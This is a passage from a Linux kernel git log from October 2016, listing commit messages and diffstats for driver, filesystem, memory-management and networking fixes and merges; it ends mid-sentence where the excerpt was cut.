offset scsi: ibmvfc: Fix I/O hang when port is not mapped scsi: megaraid_sas: clean function declarations in megaraid_sas_base.c up scsi: ipr: Remove redundant messages at adapter init time scsi: ipr: Don't log unnecessary 9084 error details scsi: smartpqi: raid bypass lba calculation fix ... commit 690d097c00c88fa9d93d198591e184164b1d8c20 Author: Helge Deller Date: Fri Oct 7 18:19:55 2016 +0200 parisc: Increase KERNEL_INITIAL_SIZE for 32-bit SMP kernels Increase the initial kernel default page mapping size for SMP kernels to 32MB and add a runtime check which panics early if the kernel is bigger than the initial mapping size. This fixes boot crashes of 32bit SMP kernels. Due to the introduction of huge page support in kernel 4.4 and it's required initial kernel layout in memory, a 32bit SMP kernel usually got bigger (in layout, not size) than 16MB. Cc: stable@vger.kernel.org #4.4+ Signed-off-by: Helge Deller arch/parisc/include/asm/pgtable.h | 2 +- arch/parisc/kernel/setup.c | 8 ++++++++ 2 files changed, 9 insertions(+), 1 deletion(-) commit 98a29c39dc689298d2f834f40102cba752eb49c0 Author: Dan Williams Date: Fri Sep 30 15:28:27 2016 -0700 libnvdimm, namespace: allow creation of multiple pmem-namespaces per region Similar to BLK regions, publish new seed namespace devices to allow unused PMEM region capacity to be consumed by additional namespaces. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 48 ++++++++++++++++++++++++++++++++++++++--- drivers/nvdimm/nd-core.h | 2 +- drivers/nvdimm/region_devs.c | 18 +++++++++++----- 3 files changed, 59 insertions(+), 9 deletions(-) commit 991d9020f3e0447ea00c7c7f11fed364d977320a Author: Dan Williams Date: Wed Oct 5 15:54:46 2016 -0700 libnvdimm, namespace: lift single pmem limit in scan_labels() Now that the rest of the infrastructure has been converted to handle multi-pmem configurations, lift the artificial barrier at scan time. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 3 --- 1 file changed, 3 deletions(-) commit c969e24c1b696f347c08b4beb73007bc39865b0e Author: Dan Williams Date: Wed Oct 5 15:54:46 2016 -0700 libnvdimm, namespace: filter out of range labels in scan_labels() Short-circuit doomed-to-fail label validation attempts by skipping labels that are outside the given region. For example a DIMM that has multiple PMEM regions will waste time attempting to create namespaces only to find that the interleave-set-cookie does not validate, e.g.: nd_region region6: invalid cookie in label: 73e608dc-47b9-4b2a-b5c7-2d55a32e0c2 Similar to how we skip BLK labels when performing PMEM validation we can skip out-of-range labels early. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 762d067dbad5f32560cb1657b7ca20034332dc56 Author: Dan Williams Date: Tue Oct 4 16:09:59 2016 -0700 libnvdimm, namespace: enable allocation of multiple pmem namespaces Now that we have nd_region_available_dpa() able to handle the presence of multiple PMEM allocations in aliased PMEM regions, reuse that same infrastructure to track allocations from free space. In particular handle allocating from an aliased PMEM region in the case where there are dis-contiguous holes. The allocation for BLK and PMEM are documented in the space_valid() helper: BLK-space is valid as long as it does not precede a PMEM allocation in a given region. PMEM-space must be contiguous and adjacent to an existing existing allocation (if one exists). Signed-off-by: Dan Williams drivers/nvdimm/dimm_devs.c | 32 +++++++--- drivers/nvdimm/namespace_devs.c | 128 ++++++++++++++++++++++++++++------------ drivers/nvdimm/nd-core.h | 18 ++++++ 3 files changed, 133 insertions(+), 45 deletions(-) commit 16660eaea0ccc6d0692f173922cd365876eb288e Author: Dan Williams Date: Wed Oct 5 21:13:23 2016 -0700 libnvdimm, namespace: update label implementation for multi-pmem Instead of assuming that there will only ever be one allocated range at the start of the region, account for additional namespaces that might start at an offset from the region base. After this change pmem namespaces now have a reason to carry an array of resources similar to blk. Unifying the resource tracking infrastructure in nd_namespace_common is a future cleanup candidate. Signed-off-by: Dan Williams drivers/nvdimm/label.c | 72 +++++++++++++++++++++++++++++++++++++------------- 1 file changed, 53 insertions(+), 19 deletions(-) commit 012207334a26727369b2668716d84e55af1f1d22 Author: Dan Williams Date: Wed Oct 5 09:09:44 2016 -0700 libnvdimm, namespace: expand pmem device naming scheme for multi-pmem pmem devices are currently named /dev/pmem. Preserve the naming of the 0th device, but add a "." for other devices. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) commit a1f3e4d6a0c322eb3e7fdfcc9facdcdf19130434 Author: Dan Williams Date: Fri Sep 30 17:28:58 2016 -0700 libnvdimm, region: update nd_region_available_dpa() for multi-pmem support The free dpa (dimm-physical-address) space calculation reports how much free space is available with consideration for aliased BLK + PMEM regions. Recall that BLK capacity is allocated from high addresses and PMEM is allocated from low addresses in their respective regions. nd_region_available_dpa() accounts for the fact that the largest encroachment (lowest starting address) into PMEM capacity by a BLK allocation limits the available capacity to that point, regardless if there is BLK allocation hole at a higher address. Similarly, for the multi-pmem case we need to track the largest encroachment (highest ending address) of a PMEM allocation in BLK capacity regardless of whether there is an allocation hole that a BLK allocation could fill at a lower address. Signed-off-by: Dan Williams drivers/nvdimm/dimm_devs.c | 174 +++++++++++++++++++++++++++++++++---------- drivers/nvdimm/nd-core.h | 2 +- drivers/nvdimm/region_devs.c | 5 +- 3 files changed, 139 insertions(+), 42 deletions(-) commit 6ff3e912d32ece4e9cf8708da796e9e2e7979ffe Author: Dan Williams Date: Wed Oct 5 14:04:15 2016 -0700 libnvdimm, namespace: sort namespaces by dpa at init Add more determinism to initial namespace device-name assignments by sorting the namespaces by starting dpa. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 35 ++++++++++++++++++++++++++++++++--- include/linux/nd.h | 6 +++--- 2 files changed, 35 insertions(+), 6 deletions(-) commit 0e3b0d123c8fd5c42f364aea3ab663b1f18dad39 Author: Dan Williams Date: Thu Oct 6 23:13:15 2016 -0700 libnvdimm, namespace: allow multiple pmem-namespaces per region at scan time If label scanning finds multiple valid pmem namespaces allow them to be surfaced rather than fail namespace scanning. Support for creating multiple namespaces per region is saved for a later patch. Note that this adds some new error messages to clarify which of the pmem namespaces in the set are potentially impacted by invalid labels. Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 84 +++++++++++++++++++++++++++++++++++------ include/linux/nd.h | 2 + 2 files changed, 74 insertions(+), 12 deletions(-) commit bd4cd745b3b412ac93227640e3b337962f41d932 Author: Dan Williams Date: Thu Oct 6 11:22:37 2016 -0700 tools/testing/nvdimm: support for sub-dividing a pmem region Update nfit_test to handle multiple sub-allocations within a given pmem region. The mock resource now tracks and un-tracks sub-ranges as they are requested and released (either explicitly or via devm callback). Signed-off-by: Dan Williams tools/testing/nvdimm/test/iomap.c | 134 ++++++++++++++++++++++++++-------- tools/testing/nvdimm/test/nfit.c | 21 +++--- tools/testing/nvdimm/test/nfit_test.h | 12 ++- 3 files changed, 124 insertions(+), 43 deletions(-) commit d4e65476bc68dbc9231b3c772b71f1576579b6fb Merge: d042380 c758f96 Author: Linus Torvalds Date: Fri Oct 7 09:12:19 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input Pull input subsystem updates from Dmitry Torokhov: "You will get - a new driver for Elan eKTF2127 touchscreen controllers - a new "gpio-decoder" driver to read and report state of several GPIO lines - an ADC resistor ladder driver - the ft6326 driver is removed because edt-ft5x06 handles the same devices just fine. .. plus the regular slew of driver fixes/enhancements" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input: (26 commits) Input: elan_i2c - fix return tests of i2c_smbus_read_block_data() Input: ektf2127 - mark PM functions as __maybe_unused Input: snvs_pwrkey - drop input_free_device call if input_register_device fails Input: add support for Elan eKTF2127 touchscreen controller Input: serio - add hangup support Input: tps65218-pwrbutton - add support for tps65217 variant Input: jornada720_ts - get rid of mach/irqs.h and mach/hardware.h includes Input: jornada720_kbd - remove unneeded mach/hardware.h include Input: focaltech - mark focaltech_set_resolution() static Input: wdt87xx_i2c - fix the flash erase issue Input: gpio-keys-polled - don't use unit-address with button nodes Input: add generic input driver to read encoded GPIO lines Input: add ADC resistor ladder driver Input: pegasus_notetaker - directly include workqueue header Input: elants_i2c - get product id on recovery mode for FW update Input: wm97xx - remove deprecated create_singletheread_workqueue Input: mc13783_ts - remove deprecated create_singletheread_workqueue Input: psmouse - remove deprecated create_singletheread_workqueue Input: jornada720_kbd - switch to using dev_dbg Input: jornada720_kbd - get rid of mach/irqs.h include ... commit d042380886fb2fc6c4b0fcfe1214ba473769a8e9 Merge: 3477d16 b8d336e Author: Linus Torvalds Date: Fri Oct 7 08:35:35 2016 -0700 Merge tag 'mfd-for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd Pull MFD updates from Lee Jones: "Core framework: - Add the MFD bindings doc to MAINTAINERS New drivers: - X-Powers AC100 Audio CODEC and RTC - TI LP873x PMIC - Rockchip RK808 PMIC - Samsung Exynos Low Power Audio New device support: - Add support for STMPE1600 variant to stmpe - Add support for PM8018 PMIC to pm8921-core - Add support for AXP806 PMIC in axp20x - Add support for AXP209 GPIO in axp20x New functionality: - Add support for Reset to all STMPE variants - Add support for MKBP event support to cros_ec - Add support for USB to intel_soc_pmic_bxtwc - Add support for IRQs and Power Button to tps65217 Fix-ups: - Clean-up defunct author emails (da9063, max14577) - Kconfig fixups (wm8350-i2c, as37220 - Constify (altera-a10sr, sm501) - Supply PCI IDs (intel-lpss-pci) - Improve clocking (qcom_rpm) - Fix IRQ probing (ucb1x00-core) - Ensure fault log is cleared (da9052) - Remove NO_IRQ check (ucb1x00-core) - Supply I2C properties (intel-lpss-acpi, intel-lpss-pci) - Non standard declaration (tps65217, max8997-irq) - Remove unused code (lp873x, db8500-prcmu, ab8500-debugfs, cros_ec_spi) - Make non-modular (altera-a10sr, intel_msic, smsc-ece1099, sun6i-prcm, twl-core) - OF bindings (ac100, stmpe, qcom-pm8xxx, qcom-rpm, rk808, axp20x, lp873x, exynos5433-lpass, act8945a, aspeed-scu, twl6040, arizona) Bugfixes: - Release OF pointer (qcom_rpm) - Avoid double shifting in suspend/resume (88pm80x) - Fix 'defined but not used' error (exynos-lpass) - Fix 'sleeping whilst attomic' (atmel-hlcdc)" * tag 'mfd-for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/mfd: (69 commits) mfd: arizona: Handle probe deferral for reset GPIO mfd: arizona: Remove arizona_of_get_named_gpio helper function mfd: arizona: Add DT options for max_channels_clocked and PDM speaker config mfd: twl6040: Register child device for twl6040-pdmclk mfd: cros_ec_spi: Remove unused variable 'request' mfd: omap-usb-host: Return value is not 'const int' mfd: ab8500-debugfs: Remove 'weak' function suspend_test_wake_cause_interrupt_is_mine() mfd: ab8500-debugfs: Remove ab8500_dump_all_banks_to_mem() mfd: db8500-prcmu: Remove unused *prcmu_set_ddr_opp() calls mfd: ab8500-debugfs: Prevent initialised field from being over-written mfd: max8997-irq: 'inline' should be at the beginning of the declaration mfd: rk808: Fix RK818_IRQ_DISCHG_ILIM initializer mfd: tps65217: Fix nonstandard declaration mfd: lp873x: Remove unused mutex lock from struct lp873x mfd: atmel-hlcdc: Do not sleep in atomic context mfd: exynos-lpass: Mark PM functions as __maybe_unused mfd: intel-lpss: Add default I2C device properties for Apollo Lake mfd: twl-core: Make it explicitly non-modular mfd: sun6i-prcm: Make it explicitly non-modular mfd: smsc-ece1099: Make it explicitly non-modular ... commit 4fe9e1d957e45ad8eba9885ee860a0e93d13a7c7 Author: Helge Deller Date: Fri Oct 7 16:50:21 2016 +0200 parisc: Drop bootmem and switch to memblock Memblock is the standard kernel boot-time memory tracker/allocator. Use it instead of the bootmem allocator. This allows using kmemleak, CMA and other features. Signed-off-by: Helge Deller arch/parisc/Kconfig | 2 + arch/parisc/kernel/vmlinux.lds.S | 2 - arch/parisc/mm/init.c | 126 +++++++++++++++++++-------------------- 3 files changed, 64 insertions(+), 66 deletions(-) commit 2a51fe083eba7f99cbda72f5ef90cdf2f4df882c Author: Prarit Bhargava Date: Mon Oct 3 13:07:12 2016 -0400 arch/x86: Handle non enumerated CPU after physical hotplug When a CPU is physically added to a system then the MADT table is not updated. If subsequently a kdump kernel is started on that physically added CPU then the ACPI enumeration fails to provide the information for this CPU which is now the boot CPU of the kdump kernel. As a consequence, generic_processor_info() is not invoked for that CPU so the number of enumerated processors is 0 and none of the initializations, including the logical package id management, are performed. We have code which relies on the correctness of the logical package map and other information which is initialized via generic_processor_info(). Executing such code will result in undefined behaviour or kernel crashes. This problem applies only to the kdump kernel because a normal kexec will switch to the original boot CPU, which is enumerated in MADT, before jumping into the kexec kernel. The boot code already has a check for num_processors equal 0 in prefill_possible_map(). We can use that check as an indicator that the enumeration of the boot CPU did not happen and invoke generic_processor_info() for it. That initializes the relevant data for the boot CPU and therefore prevents subsequent failure. [ tglx: Refined the code and rewrote the changelog ] Signed-off-by: Prarit Bhargava Fixes: 1f12e32f4cd5 ("x86/topology: Create logical package id") Cc: Peter Zijlstra Cc: Len Brown Cc: Borislav Petkov Cc: Andi Kleen Cc: Jiri Olsa Cc: Juergen Gross Cc: dyoung@redhat.com Cc: Eric Biederman Cc: kexec@lists.infradead.org Link: http://lkml.kernel.org/r/1475514432-27682-1-git-send-email-prarit@redhat.com Signed-off-by: Thomas Gleixner arch/x86/kernel/smpboot.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit 29d5e6fbd65be89dcd32f070fc45ee0e3b2f82b6 Author: Jes Sorensen Date: Fri Sep 30 19:35:18 2016 -0400 rtl8xxxu: Fix rtl8192eu driver reload issue The 8192eu suffered from two issues when reloading the driver. The same problems as with the 8723bu where REG_RX_WAIT_CCA bits 22 and 23 didn't get set in rtl8192e_enable_rf(). In addition it also seems prone to issues when setting REG_RF_CTRL to 0 intead of just disabling the RF_ENABLE bit. Similar to what was causing issues with the 8188eu. With this patch I can successfully reload the driver and reassociate to an APi with an 8192eu dongle. Signed-off-by: Jes Sorensen Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8192e.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit ab05e5ec81c76f3a852919c22984c885edd2414a Author: Jes Sorensen Date: Fri Sep 30 19:35:17 2016 -0400 rtl8xxxu: Fix rtl8723bu driver reload issue The generic disable_rf() function clears bits 22 and 23 in REG_RX_WAIT_CCA, however we did not re-enable them again in rtl8723b_enable_rf() This resolves the problem for me with 8723bu devices not working again after reloading the driver. Signed-off-by: Jes Sorensen Cc: stable@vger.kernel.org # 4.7+ Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_8723b.c | 4 ++++ 1 file changed, 4 insertions(+) commit 8a55698f2f29d227825173420d7b99b9277ca88c Author: Jes Sorensen Date: Thu Sep 29 15:40:55 2016 -0400 rtl8xxxu: Fix big-endian problem reporting mactime The full RX descriptor is converted so converting tsfl again would return it to it's original endian value. Signed-off-by: Jes Sorensen Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu.h | 4 ++-- drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) commit 1e54134ccad00f76ddf00f3e77db3dc8fdefbb47 Author: Jes Sorensen Date: Thu Sep 29 15:40:54 2016 -0400 rtl8xxxu: Fix memory leak in handling rxdesc16 packets A device running without RX package aggregation could return more data in the USB packet than the actual network packet. In this case we could would clone the skb but then determine that that there was no packet to handle and exit without freeing the cloned skb first. This has so far only been observed with 8188eu devices, but could affect others. Signed-off-by: Jes Sorensen Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 179023e6af0c608ffb505821223f5580853ef6b8 Merge: 04fd4cb 9a54cf4 52dc085 814cb72 3202bb7 f777a3a c4425c8 6c3f70a 1924e05 Author: Jiri Kosina Date: Fri Oct 7 09:59:48 2016 +0200 Merge branches 'for-4.8/upstream-fixes', 'for-4.9/alps', 'for-4.9/hid-input', 'for-4.9/intel-ish', 'for-4.9/kye-uclogic-waltop-fixes', 'for-4.9/logitech', 'for-4.9/sony', 'for-4.9/upstream' and 'for-4.9/wacom' into for-linus commit c7e163fe282f34efdf77fb09b333529de97a6a10 Author: Ethan Hsieh Date: Fri Oct 7 12:06:42 2016 +0800 Bluetooth: btusb: Fix atheros firmware download error Move usb_autopm_get_interface() ahead of setup_on_usb() to prevent device from sending usb control message in usb suspend mode. The error message is as below: [ 83.944103] btusb 1-2:1.1: usb_suspend_interface: status 0 [ 83.944107] btusb 1-2:1.0: usb_suspend_interface: status 0 [ 83.960132] usb 1-2: usb auto-suspend, wakeup 0 [ 83.976156] usb 1-2: usb_suspend_device: status 0 [ 83.976162] usb 1-2: usb_suspend_both: status 0 [ 298.689106] Bluetooth: hci0 [ 298.689399] Bluetooth: hci0: Failed to access otp area (-113) Signed-off-by: Ethan Hsieh Signed-off-by: Marcel Holtmann drivers/bluetooth/btusb.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 4b899da50dcf1a7850715650281b5d76af8a5eb4 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:36 2016 +0200 ecryptfs: Switch to generic xattr handlers Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/ecryptfs/ecryptfs_kernel.h | 2 ++ fs/ecryptfs/inode.c | 62 +++++++++++++++++++++++++++++++++---------- fs/ecryptfs/main.c | 1 + 3 files changed, 51 insertions(+), 14 deletions(-) commit bba0bd31b117cba754322f337e61def53d9b22e5 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:35 2016 +0200 sockfs: Get rid of getxattr iop If we allow pseudo-filesystems created with mount_pseudo to have xattr handlers, we can replace sockfs_getxattr with a sockfs_xattr_get handler to use the xattr handler name parsing. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/libfs.c | 7 ++++--- include/linux/fs.h | 17 +++++++++++++---- net/socket.c | 50 ++++++++++++++++++++++++++++++-------------------- 3 files changed, 47 insertions(+), 27 deletions(-) commit 971df15bd54ad46e907046ff33750a137b2f0096 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:34 2016 +0200 sockfs: getxattr: Fail with -EOPNOTSUPP for invalid attribute names The standard return value for unsupported attribute names is -EOPNOTSUPP, as opposed to undefined but supported attributes (-ENODATA). Also, fail for attribute names like "system.sockprotonameXXX" and simplify the code a bit. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro net/socket.c | 24 ++++++------------------ 1 file changed, 6 insertions(+), 18 deletions(-) commit e72a1a8b3a5a2a0c034f9ad07ca34638fc3b0c33 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:33 2016 +0200 kernfs: Switch to generic xattr handlers Signed-off-by: Andreas Gruenbacher Acked-by: Greg Kroah-Hartman Acked-by: Tejun Heo Signed-off-by: Al Viro fs/kernfs/dir.c | 6 +- fs/kernfs/inode.c | 158 +++++++++++++++++++++++--------------------- fs/kernfs/kernfs-internal.h | 7 +- fs/kernfs/mount.c | 1 + fs/kernfs/symlink.c | 6 +- 5 files changed, 92 insertions(+), 86 deletions(-) commit b8020eff7f827018ccd690a13e7da606302715a5 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:32 2016 +0200 hfs: Switch to generic xattr handlers Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/hfs/attr.c | 83 +++++++++++++++++++++++++++++++++++++++------------------ fs/hfs/hfs_fs.h | 6 +---- fs/hfs/inode.c | 7 ++--- fs/hfs/super.c | 1 + 4 files changed, 63 insertions(+), 34 deletions(-) commit 6966f842c044bc602ecc06712ee5891328fde10e Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:31 2016 +0200 jffs2: Remove jffs2_{get,set,remove}xattr macros When CONFIG_JFFS2_FS_XATTR is off, jffs2_xattr_handlers is defined as NULL. With sb->s_xattr == NULL, the generic_{get,set,remove}xattr functions produce the same result as setting the {get,set,remove}xattr inode operations to NULL, so there is no need for these macros. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/jffs2/dir.c | 6 +++--- fs/jffs2/file.c | 6 +++--- fs/jffs2/symlink.c | 6 +++--- fs/jffs2/xattr.h | 6 ------ 4 files changed, 9 insertions(+), 15 deletions(-) commit 5d18cbf16cfb0ad65368fe2ead19237305f4b822 Author: Andreas Gruenbacher Date: Thu Sep 29 17:48:30 2016 +0200 xattr: Remove unnecessary NULL attribute name check When NULL is passed to one of the xattr system calls as the attribute name, copying that name from user space already fails with -EFAULT; xattr_resolve_name is never called with a NULL attribute name. Signed-off-by: Andreas Gruenbacher Signed-off-by: Al Viro fs/xattr.c | 3 --- 1 file changed, 3 deletions(-) commit 3477d168ba61c5b0ca42d3d4642f3463609a5417 Merge: 9a687ae 0c9501f Author: Linus Torvalds Date: Thu Oct 6 18:56:53 2016 -0700 Merge tag 'backlight-for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/backlight Pull backlight updates from Lee Jones: "Fix-ups: - Remove unused .owner assignment; tosa_bl - Enable GPIO sleeping; pwm_bl" * tag 'backlight-for-linus-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/lee/backlight: backlight: pwm_bl: Handle gpio that can sleep backlight-tosa: Delete unnecessary assignment for the field "owner" commit 9a687aea2ffd8ab1e3c6239ea53c0a2209707bd5 Merge: 021723e 7ac5d7b Author: Linus Torvalds Date: Thu Oct 6 18:51:59 2016 -0700 Merge tag 'hsi-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/sre/linux-hsi Pull HSI fix from Sebastian Reichel: "Fix hsi userspace header" * tag 'hsi-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/sre/linux-hsi: HSI: hsi_char.h: use __u32 from linux/types.h commit 021723e6c5a5e7b50eb68f9812418406de9860b2 Merge: c6594fc 1d72706 Author: Linus Torvalds Date: Thu Oct 6 18:21:15 2016 -0700 Merge tag 'for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/sre/linux-power-supply Pull power supply and reset updates from Sebastian Reichel: - move power supply drivers to drivers/power/supply - unify location of power supply DT documentation - tps65217-charger: IRQ support - act8945a-charger: misc. cleanups & improvements - sbs-battery cleanup - fix users of deprecated create_singlethread_workqueue() - misc fixes. * tag 'for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/sre/linux-power-supply: (46 commits) power: supply: bq27xxx_battery: allow kernel poll_interval parameter runtime update power: supply: sbs-battery: Cleanup removal of chip->pdata power: reset: st: Remove obsolete platforms from dt doc power: reset: st-poweroff: Remove obsolete platforms. power: reset: zx-reboot: Unmap region obtained by of_iomap power: reset: xgene-reboot: Unmap region obtained by of_iomap power: supply: ab8500: cleanup with list_first_entry_or_null() power: reset: add in missing white space in error message text sbs-battery: make writes to ManufacturerAccess optional power: bq24257: Fix use of uninitialized pointer bq->charger power: supply: sbs-battery: simplify DT parsing power: supply: bq24735-charger: Request status GPIO with initial input setup power: supply: sbs-battery: Use gpio_desc and sleeping calls for battery detect power: supply: act8945a_charger: Add max current property power: supply: act8945a_charger: Add capacity level property doc: bindings: power: act8945a-charger: Update properties. power: supply: act8945a_charger: Fix the power supply type power: supply: act8945a_charger: Add status change update support power: supply: act8945a_charger: Improve state handling power: supply: act8945a_charger: Remove "battery_temperature" ... commit 7aa6ec2296614f2da8546bbfe8fca54bbbd8ae12 Author: Laura Abbott Date: Thu Oct 6 11:22:51 2016 -0700 drivers: net: phy: Correct duplicate MDIO_XGENE entry An extra entry for MDIO_XGENE got added during merging. Delete it. Reviewed-by: Andrew Lunn Signed-off-by: Laura Abbott Acked-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/phy/Kconfig | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit e5e0fbfc4e3b343ff985dd800f1ee31564793563 Author: Geert Uytterhoeven Date: Thu Oct 6 16:44:53 2016 +0200 ethernet: qualcomm: QCOM_EMAC should depend on HAS_DMA and HAS_IOMEM If NO_DMA=y: drivers/built-in.o: In function `emac_probe': emac.c:(.text+0x3780b8): undefined reference to `bad_dma_ops' emac.c:(.text+0x3780e2): undefined reference to `bad_dma_ops' emac.c:(.text+0x378112): undefined reference to `bad_dma_ops' emac.c:(.text+0x378146): undefined reference to `bad_dma_ops' emac.c:(.text+0x37816e): undefined reference to `bad_dma_ops' drivers/built-in.o:emac.c:(.text+0x37819a): more undefined references to `bad_dma_ops' follow If NO_IOMEM=y: drivers/net/ethernet/qualcomm/emac/emac.c: In function ‘emac_remove’: drivers/net/ethernet/qualcomm/emac/emac.c:736:3: error: implicit declaration of function ‘iounmap’ [-Werror=implicit-function-declaration] iounmap(adpt->phy.digital); ^ Add dependencies on HAS_DMA and HAS_IOMEM to fix this. Signed-off-by: Geert Uytterhoeven Acked-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/Kconfig | 1 + 1 file changed, 1 insertion(+) commit a0ec9319f429c261346038d4d54239aa80a5e289 Merge: 0d818c2 3a09f18 Author: David S. Miller Date: Thu Oct 6 21:08:13 2016 -0400 Merge branch 'mediatek-hw-lro-chip-id-check' Nelson Chang says: ==================== net: ethernet: mediatek: check the hw lro capability by the chip id instead of the dtsi The series modify to check if hw lro is supported by the chip id. changes since v3: - Refine mtk_is_hwlro_supported() function changes since v2: - Refine mtk_get_chip_id() function changes since v1: - Because hw lro started to be supported from MT7623, the proper way to check if the feature is capable is to judge by the chip id instead of by the dtsi. ==================== Signed-off-by: David S. Miller commit 3a09f18ef6f685c714f1c5a22df9b4da58dde355 Author: Nelson Chang Date: Thu Oct 6 19:44:03 2016 +0800 net: ethernet: mediatek: remove hwlro property in the device tree Since the proper way to check the hw lro capability is by the chip id, hwlro property in the device tree should be removed. Signed-off-by: Nelson Chang Signed-off-by: David S. Miller Documentation/devicetree/bindings/net/mediatek-net.txt | 2 -- 1 file changed, 2 deletions(-) commit 983e1a6c95abf8058d26149a928578b720c77bce Author: Nelson Chang Date: Thu Oct 6 19:44:02 2016 +0800 net: ethernet: mediatek: get hw lro capability by the chip id instead of by the dtsi Because hw lro started to be supported from MT7623, the proper way to check if the feature is capable is to judge by the chip id instead of by the dtsi. Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 14 ++++++++++++-- drivers/net/ethernet/mediatek/mtk_eth_soc.h | 1 + 2 files changed, 13 insertions(+), 2 deletions(-) commit b95b6d99ce3673ca8d9f7c824d82ca7912d96b34 Author: Nelson Chang Date: Thu Oct 6 19:44:01 2016 +0800 net: ethernet: mediatek: get the chip id by ETHDMASYS registers The driver gets the chip id by ETHSYS_CHIPID0_3/ETHSYS_CHIPID4_7 registers in mtk_probe(). Signed-off-by: Nelson Chang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 29 +++++++++++++++++++++++++++++ drivers/net/ethernet/mediatek/mtk_eth_soc.h | 5 +++++ 2 files changed, 34 insertions(+) commit 0d818c288974e6f80923775dbf6225e3cb66659c Merge: 4af1474 bf7d620 Author: David S. Miller Date: Thu Oct 6 21:04:24 2016 -0400 Merge tag 'rxrpc-rewrite-20161004' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Fixes This set of patches contains a bunch of fixes: (1) Fix an oops on incoming call to a local endpoint without a bound service. (2) Only ping for a lost reply in a client call (this is inapplicable to service calls). (3) Fix maybe uninitialised variable warnings in the ACK/ABORT sending function by splitting it. (4) Fix loss of PING RESPONSE ACKs due to them being subsumed by PING ACK generation. (5) OpenAFS improperly terminates calls it makes as a client under some circumstances by not fully hard-ACK'ing the last DATA packets. This is alleviated by a new call appearing on the same channel implicitly completing the previous call on that channel. Handle this implicit completion. (6) Properly handle expiry of service calls due to the aforementioned improper termination with no follow up call to implicitly complete it: (a) The call's background processor needs to be queued to complete the call, send an abort and notify the socket. (b) The call's background processor needs to notify the socket (or the kernel service) when it has completed the call. (c) A negative error code must thence be returned to the kernel service so that it knows the call died. (d) The AFS filesystem must detect the fatal error and end the call. (7) Must produce a DELAY ACK when the actual service operation takes a while to process and must cancel the ACK when the reply is ready. (8) Don't request an ACK on the last DATA packet of the Tx phase as this confuses OpenAFS. ==================== Signed-off-by: David S. Miller commit 4af1474e6198b10fee7bb20e81f7e033ad1b586c Author: Jon Mason Date: Wed Oct 5 15:36:49 2016 -0400 net: bgmac: Fix errant feature flag check During the conversion to the feature flags, a check against ci->id != BCMA_CHIP_ID_BCM47162 became bgmac->feature_flags & BGMAC_FEAT_CLKCTLS instead of !(bgmac->feature_flags & BGMAC_FEAT_CLKCTLS) Reported-by: Rafał Miłecki Signed-off-by: Jon Mason Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bgmac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d35c99ff77ecb2eb239731b799386f3b3637a31e Author: Eric Dumazet Date: Thu Oct 6 04:13:18 2016 +0900 netlink: do not enter direct reclaim from netlink_dump() Since linux-3.15, netlink_dump() can use up to 16384 bytes skb allocations. Due to struct skb_shared_info ~320 bytes overhead, we end up using order-3 (on x86) page allocations, that might trigger direct reclaim and add stress. The intent was really to attempt a large allocation but immediately fallback to a smaller one (order-1 on x86) in case of memory stress. On recent kernels (linux-4.4), we can remove __GFP_DIRECT_RECLAIM to meet the goal. Old kernels would need to remove __GFP_WAIT While we are at it, since we do an order-3 allocation, allow to use all the allocated bytes instead of 16384 to reduce syscalls during large dumps. iproute2 already uses 32KB recvmsg() buffer sizes. Alexei provided an initial patch downsizing to 